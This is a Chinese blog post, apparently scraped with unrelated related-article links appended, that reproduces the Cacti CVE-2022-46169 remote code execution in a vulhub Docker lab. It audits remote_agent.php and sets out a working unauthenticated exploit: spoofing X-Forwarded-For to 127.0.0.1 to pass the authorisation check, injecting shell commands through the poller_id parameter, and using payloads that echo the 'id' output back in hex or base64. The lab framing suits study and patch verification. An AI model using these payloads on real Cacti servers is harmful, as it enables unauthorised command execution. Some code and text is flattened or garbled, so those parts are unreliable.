当前位置: 首页 > news >正文

复现cacti的RCE

一.准备工作

1.安装doker

curl -fsSL https://get.docker.com | sh

验证docker是否正确安装和检验docker compose是否可用

docker version
docker compose version

2.克隆仓库

git clone https://github.com/vulhub/vulhub.git
proxychains git clone https://github.com/vulhub/vulhub.git

3.选择要使用的漏洞环境

cd vulhub/cacti/CVE-2022-46169

4.启动漏洞环境

在这里插入图片描述

5.通过浏览器访问漏洞应用程序

6.在docker容器中安装xdebug并启用扩展

pecl install xdebug-3.1.6
docker-php-ext-enable xdebug

7.随后重启容器并更改配置文件

docker restart <your-container> 
vim /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini

添加如下内容

zend_extension=xdebug
xdebug.mode=debug
xdebug.start_with_request=yes

8.使用vscode连接容器并安装xdebug插件

二.代码审计

通过官方文档给出的信息来看,漏洞文件来自remote_agent.php

当远程客户端未授权时将会显示你没有权限并退出程序,那么就需要通过get传参请求进行绕过此if鉴权函数

 if (!remote_client_authorized()) {print 'FATAL: You are not authorized to use this service';exit;}

get传参用户是可控的,通过观察以下代码可以猜出大概率是在 poll_for_data 函数中触发

switch (get_request_var('action')) {case 'polldata':// Only let realtime polling run for a short timeini_set('max_execution_time', read_config_option('script_timeout'));debug('Start: Poling Data for Realtime');poll_for_data();debug('End: Poling Data for Realtime');break;case 'runquery':debug('Start: Running Data Query');run_remote_data_query();debug('End: Running Data Query');break;case 'ping':debug('Start: Pinging Device');ping_device();debug('End: Pinging Device');break;case 'snmpget':debug('Start: Performing SNMP Get Request');get_snmp_data();debug('End: Performing SNMP Get Request');break;case 'snmpwalk':debug('Start: Performing SNMP Walk Request');get_snmp_data_walk();debug('End: Performing SNMP Walk Request');break;case 'graph_json':debug('Start: Performing Graph Request');get_graph_data();debug('End: Performing Graph Request');break;case 'discover':debug('Start:Performing Network Discovery Request');run_remote_discovery();debug('End:Performing Network Discovery Request');break;default:if (!api_plugin_hook_function('remote_agent', get_request_var('action'))) {debug('WARNING: Unknown Agent Request');print 'Unknown Agent Request';}
}
function get_request_var($name, $default = '') {global $_CACTI_REQUEST;$log_validation = read_config_option('log_validation');if (isset($_CACTI_REQUEST[$name])) {return $_CACTI_REQUEST[$name];} elseif (isset_request_var($name)) {if ($log_validation == 'on') {html_log_input_error($name);}set_request_var($name, $_REQUEST[$name]);return $_REQUEST[$name]; // 这种接法使用 GET POST COOKIE都行} else {return $default;}}

而在 poll_for_data();函数中,有三个请求

所以需要使用get传递三个参数

action=polldata&local_ids[0]=6&host_id=1&poller_id='touch+/tmp/success'因为发送没有回显,所以我需要使用创建文件的命令'touch+/tmp/success',查看文件是否创建成功

通过抓包我们可以获取该网站的流量,并添加X-Forwarded-For:127.0.0.1获取get_client_addr();客户端

随后我们在remote_client_authorized()函数中插入print_r(clientaddr);获取clientaddr的值是否为127.0.0.1和printr(client_addr);获取client_addr的值是否为127.0.0.1和print_r(clientaddr);获取clientaddr的值是否为127.0.0.1printr(client_name);打印出client_name值是否为hostname并用exit;中断程序

发送后可以看到值完全符合

而在functions.php文件中有关于 get_client_addr函数

function get_client_addr($client_addr = false) {$http_addr_headers = array('X-Forwarded-For','X-Client-IP','X-Real-IP','X-ProxyUser-Ip','CF-Connecting-IP','True-Client-IP','HTTP_X_FORWARDED','HTTP_X_FORWARDED_FOR','HTTP_X_CLUSTER_CLIENT_IP','HTTP_FORWARDED_FOR','HTTP_FORWARDED','HTTP_CLIENT_IP','REMOTE_ADDR',);$client_addr = false;foreach ($http_addr_headers as $header) {if (!empty($_SERVER[$header])) {$header_ips = explode(',', $_SERVER[$header]);foreach ($header_ips as $header_ip) {if (!empty($header_ip)) {if (!filter_var($header_ip, FILTER_VALIDATE_IP)) {cacti_log('ERROR: Invalid remote client IP Address found in header (' . $header . ').', false, 'AUTH', POLLER_VERBOSITY_DEBUG);} else {$client_addr = $header_ip;cacti_log('DEBUG: Using remote client IP Address found in header (' . $header . '): ' . $client_addr . ' (' . $_SERVER[$header] . ')', false, 'AUTH', POLLER_VERBOSITY_DEBUG);break 2;}}}}}return $client_addr;
}

目前该函数中,client_addr为X-Forwarded-For走到foreach函数中进行循环,header即为X-Forwarded-For所以不为空跳到下一层循环,由于127.0.0.1为合法ip所以跳入else,将其赋值给$client_addr我们可以将其打印出来,这样更清晰的显示出来

跟预期一样,由此可知hostname就是localhost

$client_name = gethostbyaddr($client_addr);
print_r($client_name);exit;
if ($client_name == $client_addr) {cacti_log('NOTE: Unable to resolve hostname from address ' . $client_addr, false, 'WEBUI', POLLER_VERBOSITY_MEDIUM);
} else {$client_name = remote_agent_strip_domain($client_name);
}

由于$client_name不等于$client_addr也就是我们的localhost不等于127.0.0.1因此会跳入else,remote_agent_strip_domain这个过滤函数只过滤.因此localhost会正常返回,返回出来依然是localhost

$pollers = db_fetch_assoc(‘SELECT * FROM poller’, true, $poller_db_cnn_id);

if (cacti_sizeof($pollers)) {foreach($pollers as $poller) {if (remote_agent_strip_domain($poller['hostname']) == $client_name) {return true;} elseif ($poller['hostname'] == $client_addr) {return true;}}
}

$pollers里的hostname在数据库表中为localhost与$client_name的值localhost相等因此会返回true,至此if鉴权函数已经绕过
只要有success,代码即执行成功

action由于是get传参因此用户可控,当action=polldata才能触发case 'polldata’执行poll_for_data();代码

function poll_for_data()函数中传递了三个参数:

第一行代码传数组[0]=6数组只有一个元素6
第二行代码传参1
第三行代码传命令执行如touch+/tmp/success

function poll_for_data() {global $config;$local_data_ids = get_nfilter_request_var('local_data_ids');$host_id        = get_filter_request_var('host_id');$poller_id      = get_nfilter_request_var('poller_id');$return         = array();print_r($local_data_ids);print_r($host_id);print_r($poller_id);exit;

开始遍历

$items = db_fetch_assoc_prepared('SELECT *FROM poller_itemWHERE host_id = ?AND local_data_id = ?',array($host_id, $local_data_id));

通过第一个if查询到数组为

       local_data_id: 6poller_id: 1host_id: 1action: 2present: 1last_updated: 2025-07-25 06:10:01hostname: localhostsnmp_community: publicsnmp_version: 0snmp_username:snmp_password:snmp_auth_protocol:
snmp_priv_passphrase:snmp_priv_protocol:snmp_context:snmp_engine_id:snmp_port: 161snmp_timeout: 500rrd_name: uptimerrd_path: /var/www/html/rra/local_linux_machine_uptime_6.rrdrrd_num: 1rrd_step: 300rrd_next_step: 0arg1: /var/www/html/scripts/ss_hstats.php ss_hstats '1' uptimearg2:arg3:

第二次遍历

$script_server_calls = db_fetch_cell_prepared('SELECT COUNT(*)FROM poller_itemWHERE host_id = ?AND local_data_id = ?AND action = 2',array($host_id, $local_data_id));

将数组里的action取出,值为2。
由于POLLER_ACTION_SCRIPT_PHP值为2,因此将会匹配到case POLLER_ACTION_SCRIPT_PHP
进入到该case中进行第一个if函数

if (function_exists('proc_open')) {$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);$output = fgets($pipes[1], 1024);$using_proc_function = true;
} else {$using_proc_function = false;
}

通过该代码的read_config_option(‘path_php_binary’)取出php路径执行 /usr/local/bin/php -q script_server.php realtime touch /tmp/success

现在进行回显

function is_hexadecimal($result) {$hexstr = str_replace(array(' ', '-'), ':', trim($result));$parts = explode(':', $hexstr);foreach($parts as $part) {if (strlen($part) != 2) {return false;}if (ctype_xdigit($part) == false) {return false;}}return true;
}

执行以下三条命令任意一条,将其进行urlenode编码

|echo "test\r\n`id" | xxd -p -c 1|awk '{printf \"%s \", $0}'`"; 
|echo "test\r\n :`id | base64 -w0`"; 
|echo "test\r\n`id |base64 -w0|awk -v ORS=':' '{print $0}'`"; 

最后可以得到回显

进行base64解码

得到结果:

uid=33(www-data) gid=33(www-data) groups=33(www-data)
http://www.lryc.cn/news/609055.html

相关文章:

  • ELECTRICAL靶机
  • [硬件电路-145]:模拟电路 - 常见的电源芯片、用途、管脚定义
  • Spring+K8s+AI实战:3全栈开发指南
  • LeetCode Hot 100,快速学习,不断更
  • Steam饥荒联机版多人服务器搭建全解析 -- 阿里云Linux系统构建云服务器
  • kafka创建topic报错解决思路之一
  • 常⻅框架漏洞
  • 计算用户日活:从数据设计到可视化的全流程(高频场景题)
  • sqli-labs:Less-26关卡详细解析
  • C++-二叉树OJ题
  • 外设数据到昇腾310推理卡 之五 3403ATU
  • react native中markdown添加数学公式的支持
  • Java ++i 与 i++ 底层原理
  • 机器翻译入门:定义、发展简史与核心价值
  • [自动化Adapt] 录制引擎
  • MVCC:数据库事务隔离的 “时空魔法”
  • mysql管理
  • 【Linux系统】进程间通信:匿名管道
  • http://localhost:8080/photos/xxx.png的本地图片访问方案
  • 常见的框架漏洞(Thinkphp,spring,Shiro)
  • io_submit系统调用及示例
  • 【硬件-笔试面试题】硬件/电子工程师,笔试面试题-54,(知识点:硬件设计流程)
  • 知识随记-----MySQL 连接池健康检测与 RAII 资源管理技术
  • vulnhub-noob靶机攻略
  • ICT模拟零件测试方法--电位器测试
  • 【QT】常⽤控件详解(二)windowOpacitycursorfontsetToolTipfocusPolicystyleSheet
  • 8.1.3 TiDB集群方案雨Replication原理
  • git用户设置
  • 嵌入式 C 语言入门:多文件编程实践笔记 —— 从文件创建到调用
  • Python Seaborn【数据可视化库】 全面讲解